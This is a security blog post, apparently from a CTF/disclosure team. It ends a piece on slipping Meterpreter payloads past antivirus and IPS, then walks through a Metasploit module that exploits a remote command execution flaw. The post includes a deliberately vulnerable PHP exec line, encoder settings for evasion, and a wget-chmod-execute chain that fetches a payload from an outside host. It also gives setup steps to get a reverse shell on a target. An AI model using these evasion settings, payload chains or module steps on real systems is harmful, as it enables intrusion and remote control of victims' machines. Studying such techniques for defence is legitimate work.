  • MeterpreterUserAgent Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
  • StageEncoder (one of the below)
    • x86/fnstenv_mov
    • x86/shikata_ga_nai

With these changes, it’s possible to walk through the firewalls with IPS/IDS systems enabled. One thing I noticed with one major firewall manufacturer is that it blocks SSL encrypted payloads, but after fiddling with ‘stdapi_sys_process_execute’ – string, the shell goes through, but issues ‘critical’ – state in the lofugs. As I went through the firewall, I didn’t research it more. I would wager that it is very well possible to completely hide from the firewall.

Of course, if all else fails, there is always the dnscat… 😉

 

0x06 Conclusion

Since victim would get an exploit/Trojan that is undetected by antivirus softwares, the possibility of exploiting unsuspecting user is greatly enhanced. Of course Windows Defender and antivirus have restrictions against new connections, but sadly these messages are ignored very often. But since antivirus doesn’t find anything, it is safe yes? No. Much of the security is still on the shoulders of users and antivirus / firewalls / IPS / IDS can’t be trusted to be bulletproof.

These methods could be further developed to do more evasive actions, sleep for a time, write other programs, etc. etc. This article was all about getting a shell from the client, but payload could be e.g. something more malicious. So, be sure not to count on the security software you use, have a common sense. Have a multiple layers of defense to enhance your security.

Lets go through an exploit module I built for Metasploit Framework.

In a nutshell, the exploit contains only a couple of key elements – a HTTP Client and Server and a generated malicious payload.

I needed an easy way to abuse a Remote Command Execution vulnerability. A full exploit module that would generate the selected payload and return a meterpreter reverse shell back to me. All in one go.

Generally, exploit development is much more time consuming – and sometimes even more difficult – than just “triggering” the found vulnerability with a HTTP Request for instance.

What this exploit module does, is it exploits a RCE vulnerability via a malicious HTTP GET request.

Whats required from the victim, is that a linux ‘wget’ tool is installed, which is very common.    … and of course that there is a RCE vulnerability that allows the attacker to run shell commands.

Here is an example of PHP Code that would create such a vulnerability.

https://rot.fi/vulnerable_url.php:
 <?php exec($_GET['cmd']); ?>

You would simple call this URL by https://rot.fi/vulnerable_url.php?cmd=hostname

and that would result the backend webserver to run this the supplied command ‘hostname’. You wouldn’t see the result on page, as it is not printed on it.

I’ll break down the module and try to explain each part of it.

Foundations()

In order to get this module working, we need to define that it’s a Metasploit Exploit Module, and include the required libraries.

To define a module type, you define it in the class MetasploitModule < Msf::Exploit.

For an auxiliary module, you would use class MetasploitModule < Msf::Auxiliary

require ‘msf/core’

class MetasploitModule < Msf::Exploit
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML

OnesAndZeros()

Msf::Exploit::EXE, is what you need to generate a binary payload.

This guy is essential to our specific need to respond to a HTTP GET request with a file that’s loaded with goodies.

TriggerVuln()

Msf::Exploit::Remote::HttpClient , is what we’ll be using to poke the target and have it request a file from us.

HttpClient will introduce you to four extra Opts – RHOST, RPORT,SSL and VHOST – which will be used to define which server and port we want use to send the HTTP requests to and VHOST for defining what kind of HTTP Host-header we want to use. The SSL Opt is a boolean defining whether or not the client connection is encrypted.

Above, I gave you an example of running a ‘hostname‘ command on the vulnerable server, which would likely be of no benefit to the attacker.

For this case, I would use a chained command that would firstly download my evil binary payload, give it execute permissions and then run it…
…like ‘wget 10.0.0.1/evil -O /tmp/evil;chmod 777 /tmp/evil;/tmp/evil

In a HTTP Request, it would look something like this

https://rot.fi/vulnerable_url.php?cmd=wget 10.0.0.1/evil -O /tmp/evil

https://rot.fi/vulnerable_url.php?cmd=chmod 777 /tmp/evil

https://rot.fi/vulnerable_url.php?cmd=/tmp/evil

HereToServe()

Msf::Exploit::Remote::HttpServer::HTML, is what we use to deliver requested the payload.

The HttpServer will introduce you to two extra Opts, SRVHOST and SRVPORT and it has two key functions you need to notice. The Opts will define which IP and port the HttpServer will bind to.

def primer

What is defined here runs when the HttpServer is started but still before any connections are accepted in.

We don’t need to do anything here, this time.

def on_request_uri(cli, req)

This function is called each time a request comes in.

What is noteworthy is that the on_request_uri is called when the exact URI is called, which we will be defining later in the module.

In this function I’m generating the binary payload on each request and sending it back to the client.

What the payload will contain, will be the one you choose while configuring the exploit.

on_request.JPG

Initialize()

For an exploit module, you need to define a target, and the register_options are used by the HTTP Server library.

In the initialize function you also define the Name, Author and License for your creation, among other things. For a BufferOverflow exploit, you’d define bad characters and usually multiple targets like kernel versions and such.

Also, notice that the register_options Opts are typecasted, to strings, integers, etc..

initialize

Code()

A Metasploit Exploit will be using a exploit and check functions.

def check

This function is supposed to be used to check if the target is vulnerable. Sometimes its not even possible but its best to have even partial check than to launch an exploit script against a target that’s not even online.

check

The above check function sends a GET request at the RHOST and checks if the HTTP return code is OK or not.

Based on the HTTP code, we return a Vulnerable or a Safe status to the exploit module.

def exploit

In most cases, this is where the magic happens.

You can rewrite Opts by manipulating the datastore[] array.

The HTTPServer is started as a new instance with the start_service() function.

By setting SSL Opt to true/false you can choose whether you want to start the HTTPServer with Transport Layer Security.

exploit

I’ve put in a sleep(150) because sometime it takes time for the victim to execute the payload, so we don’t want our script to die before that happens.

The actual exploitation takes place in the request function

def request

request

 

What now?

So whats really cool about a exploit module like this, is that you get it all  in the Swiss army knife we call Metasploit Framework.

Instead of using this module, we could do the same manually:

  1. Setup and configure an Apache Web server
  2. Create a binary payload with msfvenom manually
  3. Setup a Listener /  Handler to grab the shell
  4. Trigger the vulnerability with curl/wget

Yes, I guess if you compare the time it takes to develop a working module to the time it takes to do the above four steps, the latter wins.

Let me demonstrate you how this is exploited via the working module.

Firstly, you need to download and add the module to Metasploit

git clone https://github.com/jake08/Metasploit
mv Metasploit/rot_rce.rb /usr/share/metasploit-framework/modules/exploits/linux/http

Then start up msfconsole and find the module

msfconsole
search rot_rce

msfsearch

Then use and set it up according to your network

here’s a friendly  reminder what’s what:

  • RHOST => Target Host that has the RCE Vulnerability
  • RPORT => Target Port for the above server
  • SRVHOST => The IP for the Local HTTP Server, make sure its reachable by RHOST
  • SRVPORT => Port for the above Server
  • VHOST => Virtual Host, or HTTP Host-header for RHOST eg. amazon.com, rot.fi
  • WRITABLEDIR => A Directory on the RHOST where we can drop the payload
  • PAYLOAD => Your friendly neighborhood reverse shell
  • LHOST => Return IP for the reverse shell, make sure its reachable by RHOST
  • LPORT => Port for above server

setupexploit

Run check and exploit for profit.

msfexploit.JPG

 

Additional resources

Complete module code

More on Metasploit Module development

 

Logout

j3k, hacker

 

Let’s try doing some public disclosures and CTF writeups here.
Posts are written by members of team ROT.